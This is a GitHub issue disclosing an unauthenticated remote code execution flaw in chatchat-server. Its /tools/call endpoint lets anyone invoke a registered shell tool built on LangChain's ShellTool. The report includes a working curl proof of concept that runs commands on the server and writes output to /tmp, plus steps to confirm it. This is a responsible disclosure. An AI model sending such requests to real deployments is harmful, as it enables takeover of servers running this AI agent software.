-
Notifications
You must be signed in to change notification settings - Fork 6.1k
Open
Labels
bugSomething isn't workingSomething isn't working
Description
Type of issue
Remote Code Execution (RCE), Unsecured API Endpoint
Full paths of source file(s) related to the manifestation of the issue
libs/chatchat-server/chatchat/server/api_server/tool_routes.py
The location of the affected source code
- Function:
call_tool - Related Endpoint:
/tools/call
Any special configuration required to reproduce the issue
The application must be running with default configuration. No special options are required.
Step-by-step instructions to reproduce the issue
- Start the server.
- The endpoint
/tools/callallows invoking any tool registered in the system by name. - The system registers a
shelltool (inlibs/chatchat-server/chatchat/server/agent/tools_factory/shell.py) which wrapslangchain_community.tools.ShellTool. - Although this tool might be disabled in the main agent configuration, it remains available in the global tool registry.
- An attacker can send a POST request to
/tools/callwith{"name": "shell", "tool_input": {"query": "COMMAND"}}. - The server executes the command using the
shelltool and attempts to return the result. - Note: The server might return a 500 error due to serialization issues with the tool output, but the command is executed successfully before the response generation.
Proof-of-concept or exploit code
✅ VERIFIED - Successfully Exploited
Step 1: Execute malicious command via /tools/call
curl -X POST "http://127.0.0.1:7861/tools/call" \
-H "Content-Type: application/json" \
-d '{
"name": "shell",
"tool_input": {
"query": "touch /tmp/TOOLS_CALL_RCE && echo TOOLS_RCE_SUCCESS > /tmp/TOOLS_CALL_RCE && id >> /tmp/TOOLS_CALL_RCE"
}
}'Note: The server returns Internal Server Error (500) due to serialization issues, but the command executes successfully!
Step 2: Verify RCE
cat /tmp/TOOLS_CALL_RCEVerified Output:

Metadata
Metadata
Assignees
Labels
bugSomething isn't workingSomething isn't working